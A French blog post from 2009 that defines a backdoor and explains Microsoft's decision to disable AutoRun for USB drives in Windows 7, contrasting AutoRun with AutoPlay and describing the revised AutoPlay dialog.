  • Back-door ou porte dérobée: une porte dérobée est un malware qui permet de contourner l'authentification normale qui sécurise l'accès "remote" à un ordinateur. La porte dérobée peut être un programme à part entière ou une modification d'un programme existant.

Source: Symantec (Avril 2009)

mercredi 13 mai 2009

Plus d'AutoRun dans Windows 7...!

Devant l'augmentation des menaces liées à la fonctionnalité AutoRun, Microsoft a décidé de réagir par la suppression de la fonctionnalité AutoRun à partir de Windows 7 disponible en fin d'année.

Avant de détailler les changements de Windows 7 il est important de comprendre la différence entre l'AutoRun et l'AutoPlay:

L'AutoRun est une technologie utilisée pour démarrer des programmes automatiquement quand un CD ou un autre média est inséré dans l'ordinateur. L'objectif principal de l'AutoRun est de fournir une réponse logicielle à une action matérielle qu'un utilisateur déclenche sur un ordinateur.

L'AutoPlay est une fonctionnalité Windows qui permet à l'utilisateur de séléctionner quel programme démarrer quand un type spécifique de média est inséré e.g. CD ou DVD. Pendant l'AutoPlay le fichier Autorun.inf est aussi parcouru. Ce fichier (s'il est disponible) spécifie quelles commandes additionnelles seront affichées dans le menu de l'AutoPlay. De nombreux fournisseurs de logiciels utilisent cette fonctionnalité pour démarrer l'installation de leur logiciel.


Ceci étant dit, quels sont les changements apportés dans Windows 7?

Premier changement: l'AutoPlay ne supporte plus la fonctionnalité AutoRun. En d'autres termes, l'AutoPlay continuera à fonctionner pour les CD/DVDs mais il ne fonctionnera plus pour les clefs USB. Les images ci-dessous montre le changement: avec Windows 7, l'AutoPlay est sécurisé.

Avant le changement:

Après le changement:


Deuxième changement: la boîte de dialogue fait apparaître explicitement que le programme que l'on souhaite exécuter se trouve sur la clef USB.

Avant le changement:

Après le changement:




Ce changement devrait aussi être disponible sous Windows Vista et Windows XP.

Source: Microsoft

Partager avec...